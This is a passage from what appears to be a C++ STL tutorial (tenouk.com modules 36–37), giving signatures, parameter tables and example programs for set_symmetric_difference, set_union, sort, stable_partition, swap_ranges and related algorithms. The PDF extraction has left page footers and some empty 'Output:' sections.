cout<<*Iter2<<" ";
cout<<endl;

//To combine into an intersection applying a user-defined


//binary predicate mod_lesser
Result3 = set_intersection(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_intersection() of source ranges with binary predicate\n"
<<"mod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 29 of 32
- Program example compiled using g++.

//******algorandshuffle.cpp********
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

www.tenouk.com Page 30 of 32
[bodo@bakawali ~]$ g++ algorandshuffle.cpp -o algorandshuffle
[bodo@bakawali ~]$ ./algorandshuffle

The original of vector vec1 data:


1 2 3 4 5 6 7 8 9 10
The original of vector vec1 random shuffle data:
5 4 8 9 1 6 3 2 7 10
Vector vec1 after reshuffle is:
7 1 8 9 6 4 10 3 2 5
Vector vec1 after another reshuffle is:
10 1 5 4 8 6 3 7 2 9

//*******algosearchn.cpp*********
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

for(i = 0; i <= 5; i++)


vec1.push_back(5*i);

for(i = 0; i <= 2; i++)


vec1.push_back(5);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Searching vec1 for first match to (5 5 5) under identity


vector <int>::iterator result1;
result1 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for first match to (5 5 5) under twice


vector <int>::iterator result2;
result2 = search_n(vec1.begin(), vec1.end(), 3, 5);

if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}

[bodo@bakawali ~]$ g++ algosearchn.cpp -o algosearchn


[bodo@bakawali ~]$ ./algosearchn

www.tenouk.com Page 31 of 32
Vector vec1 data: 0 5 10 15 20 25 5 5 5 0 5 10 15 20 25 5 5 5

There is at least one match of a sequence (5 5 5)


in vec1 and the first one begins at position 6

There is a match of a sequence (5 5 5) under the equivalence


predicate twice in vec1 and the first one begins at position 6

---------------------------------------End of Algorithm Part IV-------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 32 of 32
MODULE 37
--THE STL--
ALGORITHM PART V

My Training Period: hours

Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
example is given at the end of this Module.

Abilities

▪ Able to understand and use the member functions of the algorithm.


▪ Appreciate how the usage of the template classes and functions.
▪ Able to use containers, iterators and algorithm all together.

37.1 Continuation from previous Module…

set_symmetric_difference()

- Unites all of the elements that belong to one, but not both, of the sorted source ranges into a single,
sorted destination range, where the ordering criterion may be specified by a binary predicate.

template<class InputIterator1, class InputIterator2, class OutputIterator>


OutputIterator set_symmetric_difference(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
);
template<class InputIterator1, class InputIterator2, class OutputIterator, class
BinaryPredicate>
OutputIterator set_symmetric_difference(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing
the symmetric difference of the two source ranges.
An input iterator addressing the position one past the last element in the first
_Last1 of two sorted source ranges to be united and sorted into a single range
representing the symmetric difference of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the symmetric difference of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single
range representing the symmetric difference of the two source ranges.
An output iterator addressing the position of the first element in the
_Result destination range where the two source ranges are to be united into a single
sorted range representing the symmetric difference of the two source ranges.
User-defined predicate function object that defines the sense in which one
element is greater than another. The binary predicate takes two arguments and
_Comp
should return true when the first element is less than the second element and
false otherwise.

Table 37.1

www.tenouk.com Page 1 of 23
- An output iterator addressing the position one past the last element in the sorted destination range
representing the symmetric difference of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge.
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element, then the destination range will contain the
absolute value of the number by which the occurrences of those elements in the one of the source
ranges exceeds the occurrences of those elements in the second source range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.

//algorithm, set_symmetric_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


int i;
for(i = -4; i <= 4; i++)
vec1a.push_back(i);

int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int>vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";

www.tenouk.com Page 2 of 23
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser()


vector<int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector<int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<< "binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a symmetric difference in ascending


//order with the default binary predicate less <int>()
Result1 = set_symmetric_difference(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_symmetric_difference() of source ranges with default order,"
<<"\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into a symmetric difference in descending


//order, specify binary predicate greater<int>()
Result2 = set_symmetric_difference(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_symmetric_difference() of source ranges with binary "
<<"predicate\ngreater specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a symmetric difference applying a user


//defined binary predicate mod_lesser
Result3 = set_symmetric_difference(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_symmetric_difference() of source ranges with binary "
<<"predicate\nmod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 3 of 23
set_union()

- Unites all of the elements that belong to at least one of two sorted source ranges into a single, sorted
destination range, where the ordering criterion may be specified by a binary predicate.

template<class InputIterator1, class InputIterator2, class OutputIterator>


OutputIterator set_union(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result
);
template<class InputIterator1, class InputIterator2, class OutputIterator, class
BinaryPredicate>
OutputIterator set_union(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last2,
OutputIterator _Result,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first of two
_First1 sorted source ranges to be united and sorted into a single range representing the
union of the two source ranges.
An input iterator addressing the position one past the last element in the first of
_Last1 two sorted source ranges to be united and sorted into a single range representing
the union of the two source ranges.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be united and sorted into a single range
representing the union of the two source ranges.
An input iterator addressing the position one past the last element in second of
_Last2 two consecutive sorted source ranges to be united and sorted into a single range
representing the union of the two source ranges.
_Result An output iterator addressing the position of the first element in the destination
range where the two source ranges are to be united into a single sorted range

www.tenouk.com Page 4 of 23
representing the union of the two source ranges.
User-defined predicate function object that defines the sense in which one element
is greater than another. The binary predicate takes two arguments and should
_Comp
return true when the first element is less than the second element and false
otherwise.

Table 37.2

- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the union of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the merge()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge().
- The value types of the input iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent
elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range. If the source ranges contain duplicates
of an element, then the destination range will contain the maximum number of those elements that
occur in both source ranges.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons.

//algorithm, set_union()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector<int> vec1a, vec1b, vec1(12);
vector<int>::iterator Iter1a, Iter1b, Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 3; i++)
vec1a.push_back(i);

int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);

cout<<"Original vector vec1a with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1a = vec1a.begin(); Iter1a != vec1a.end(); Iter1a++)
cout<<*Iter1a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec1b with range sorted by the\n"


<<"binary predicate less than is: ";
for(Iter1b = vec1b.begin(); Iter1b != vec1b.end(); Iter1b++)

www.tenouk.com Page 5 of 23
cout<<*Iter1b<<" ";
cout<<endl;

//Constructing vectors vec2a & vec2b with ranges sorted by greater


vector <int>vec2a(vec1a), vec2b(vec1b), vec2(vec1);
vector <int>::iterator Iter2a, Iter2b, Iter2, Result2;
sort(vec2a.begin(), vec2a.end(), greater<int>());
sort(vec2b.begin(), vec2b.end(), greater<int>());

cout<<"\nOriginal vector vec2a with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2a = vec2a.begin(); Iter2a != vec2a.end(); Iter2a++)
cout<<*Iter2a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec2b with range sorted by the\n"


<<"binary predicate greater is: ";
for(Iter2b = vec2b.begin(); Iter2b != vec2b.end(); Iter2b++)
cout<<*Iter2b<<" ";
cout<<endl;

//Constructing vectors vec3a & vec3b with ranges sorted by mod_lesser()


vector <int>vec3a(vec1a), vec3b(vec1b), vec3(vec1);
vector <int>::iterator Iter3a, Iter3b, Iter3, Result3;
sort(vec3a.begin(), vec3a.end(), mod_lesser);
sort(vec3b.begin(), vec3b.end(), mod_lesser);

cout<<"\nOriginal vector vec3a with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3a = vec3a.begin(); Iter3a != vec3a.end(); Iter3a++)
cout<<*Iter3a<<" ";
cout<<endl;

cout<<"\nOriginal vector vec3b with range sorted by the\n"


<<"binary predicate mod_lesser() is: ";
for(Iter3b = vec3b.begin(); Iter3b != vec3b.end(); Iter3b++)
cout<<*Iter3b<<" ";
cout<<endl;

//To combine into a union in ascending order with the default


//binary predicate less <int>()
Result1 = set_union(vec1a.begin(), vec1a.end(),
vec1b.begin(), vec1b.end(), vec1.begin());
cout<<"\nset_union() of source ranges with default order,"
<<"\nvector vec1mod: ";
for(Iter1 = vec1.begin(); Iter1 != Result1; Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To combine into a union in descending order, specify binary


//predicate greater<int>()
Result2 = set_union(vec2a.begin(), vec2a.end(),
vec2b.begin(), vec2b.end(), vec2.begin(), greater<int>());
cout<<"\nset_union() of source ranges with binary predicate greater\n"
<<"specified, vector vec2mod: ";
for(Iter2 = vec2.begin(); Iter2 != Result2; Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To combine into a union applying a user-defined


//binary predicate mod_lesser
Result3 = set_union(vec3a.begin(), vec3a.end(),
vec3b.begin(), vec3b.end(), vec3.begin(), mod_lesser);
cout<<"\nset_union() of source ranges with binary predicate\n"
<<"mod_lesser() specified, vector vec3mod: ";
for(Iter3 = vec3.begin(); Iter3 != Result3; Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 6 of 23
sort()

- Arranges the elements in a specified range into a non-descending order or according to an ordering
criterion specified by a binary predicate.

template<class RandomAccessIterator>
void sort(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class Pr>
void sort(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the range to
_First
be sorted.
A random-access iterator addressing the position one past the final element in the
_Last
range to be sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 37.3

- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is not stable and so does not guarantee that the relative ordering of equivalent elements will
be preserved. The algorithm stable_sort() does preserve this original ordering.
- The average of a sort complexity is O(N log N), where N = _Last – _First.

//algorithm, sort()
#include <vector>
#include <algorithm>

www.tenouk.com Page 7 of 23
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator

int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Original random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

sort_heap()

- Converts a heap into a sorted range.

template<class RandomAccessIterator>
void sort_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class Pr>
void sort_heap(
RandomAccessIterator _First,

www.tenouk.com Page 8 of 23
RandomAccessIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A random-access iterator addressing the position of the first element in the target
_First
heap.
A random-access iterator addressing the position one past the final element in the
_Last
target heap.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.

Table 37.4

- Heaps have two properties:

▪ The first element is always the largest.


▪ Elements may be added or removed in logarithmic time.

- After the application if this algorithm, the range it was applied to is no longer a heap.
- This is not a stable sort because the relative order of equivalent elements is not necessarily preserved.
- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
Standard Template Library container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is at most N log N, where N = (_Last – _First).

//algorithm, sort_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Sort heap vec1 with default less-than ordering


sort_heap(vec1.begin(), vec1.end());
cout<<"\nThe sorted heap vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Make vec1 a heap with greater than ordering


make_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nThe greater than heaped version of vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort_heap(vec1.begin(), vec1.end(), greater<int>());


cout<<"\nThe greater than sorted heap vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

www.tenouk.com Page 9 of 23
}

Output:

stable_partition()

- Classifies elements in a range into two disjoint sets, with those elements satisfying a unary predicate
preceding those that fail to satisfy it, preserving the relative order of equivalent elements.

template<class BidirectionalIterator, class Predicate>


BidirectionalIterator stable_partition(
BidirectionalIterator _First,
BidirectionalIterator _Last,
Predicate _Pred
);

Parameters

Parameter Description
A bidirectional iterator addressing the position of the first element in the
_First
range to be partitioned.
A bidirectional iterator addressing the position one past the final element in
_Last
the range to be partitioned.
User-defined predicate function object that defines the condition to be
_Pred satisfied if an element is to be classified. A predicate takes single argument
and returns true or false.

Table 37.5

- The return value is a bidirectional iterator addressing the position of the first element in the range to not
satisfy the predicate condition.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements a and b are equivalent, but not necessarily equal, if both Pr (a, b) is false and Pr (b, a) if
false, where Pr is the parameter-specified predicate. The stable_ partition() algorithm is
stable and guarantees that the relative ordering of equivalent elements will be preserved.
- The algorithm partition() does not necessarily preserve this original ordering.

//algorithm, stable_partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value )


{ return value > 5;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;

int i;
for(i = 0; i <= 10; i++)

www.tenouk.com Page 10 of 23
vec1.push_back(i);

int j;
for(j = 0; j <= 4; j++)
vec1.push_back(3);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Partition the range with predicate greater than 5...


result = stable_partition (vec1.begin(), vec1.end(), greaterthan);
cout<<"\nThe partitioned set of elements in vec1 is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nThe first element in vec1 fail to satisfy the"


<<"\npredicate greaterthan is:\n "<<*result<<endl;
}

Output:

stable_sort()

- Arranges the elements in a specified range into a non-descending order or according to an ordering
criterion specified by a binary predicate and preserves the relative ordering of equivalent elements.

template<class BidirectionalIterator>
void stable_sort(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
template<class BidirectionalIterator, class BinaryPredicate>
void stable_sort(
BidirectionalIterator _First,
BidirectionalIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A bidirectional iterator addressing the position of the first element in the range to
_First
be sorted.
A bidirectional iterator addressing the position one past the final element in the
_Last
range to be sorted.
User-defined predicate function object that defines the comparison criterion to be
_Comp satisfied by successive elements in the ordering. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 37.6

www.tenouk.com Page 11 of 23
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Elements are equivalent, but not necessarily equal, if neither is less than the other. The sort()
algorithm is stable and guarantees that the relative ordering of equivalent elements will be preserved.
- The run-time complexity of stable_sort() depends on the amount of memory available, but the
best case (given sufficient memory) is O(N log N) and the worst case is O(N(log N)2), where N
= _Last–First. Usually, the sort() algorithm is significantly faster than stable_sort().

//algorithm, stable_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{ return elem1 > elem2;}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;

for (int i=10; i<=20; i++)


vec1.push_back(i);

random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nDefault sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe-sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re-sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

Output:

swap()

www.tenouk.com Page 12 of 23
- Exchanges the values of the elements between two types of objects, assigning the contents of the first
object to the second object and the contents of the second to the first.

template<class Type>
void swap(
Type& _Left,
Type& _Right
);

Parameters

Parameter Description
_Left The first object to have its elements exchanged.
_Right The second object to have its elements exchanged.

Table 37.7

- This algorithm is exceptional in the STL in being designed to operate on individual elements rather
than on a range of elements.

//algorithm, swap()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

bool greaterthan(int value)


{return value > 5;}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;

int i;
for(i = 10; i<= 20; i++)
vec1.push_back(i);

int j;
for(j = 10; j <= 15; j++)
vec2.push_back(j);

cout<<"Vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nVector vec2 data is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

swap(vec1, vec2);

cout<<"\nNow, vector vec1 data is:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nThen, vector vec2 data is:\n";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 13 of 23
swap_ranges()

- Exchanges the elements of one range with the elements of another, equal sized range.

template<class ForwardIterator1, class ForwardIterator2>


ForwardIterator2 swap_ranges(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2
);

Parameters

Parameter Description
A forward iterator pointing to the first position of the first range whose
_First1
elements are to be exchanged.
A forward iterator pointing to one past the final position of the first range
_Last1
whose elements are to be exchanged.
A forward iterator pointing to the first position of the second range whose
_First2
elements are to be exchanged.

Table 37.8

- The return value is a forward iterator pointing to one past the final position of the second range whose
elements are to be exchanged.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position is reachable from the first by incrementation. The second range has to be as large as
the first range.
- The complexity is linear with _Last1 – _First1 swaps performed. If elements from containers
of the same type are being swapped, them the swap() member function from that container should be
used, because the member function typically has constant complexity.

//algorithm, swap_ranges()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j =24; j <= 29; j++)
deq1.push_back(j);

cout<<"Vector vec1 data:\n";

www.tenouk.com Page 14 of 23
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nDeque deq1 data:\n";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;

swap_ranges(vec1.begin(), vec1.end(), deq1.begin());

cout<<"\nAfter the swap_range(), vector vec1 data:\n";


for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;

cout<<"\nAfter the swap_range() deque deq1 data:\n";


for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
}

Output:

transform()

- Applies a specified function object to each element in a source range or to a pair of elements from two
source ranges and copies the return values of the function object into a destination range.

template<class InputIterator, class OutputIterator, class UnaryFunction>


OutputIterator transform(
InputIterator _First1,
InputIterator _Last1,
OutputIterator _Result,
UnaryFunction _Func
);
template<class InputIterator1, class InputIterator2, class OutputIterator,
class BinaryFunction>
OutputIterator transform(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
OutputIterator _Result,
BinaryFunction _Func
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first source
_First1
range to be operated on.
An input iterator addressing the position one past the final element in the first
_Last1
source range operated on.
An input iterator addressing the position of the first element in the second
_First2
source range to be operated on.
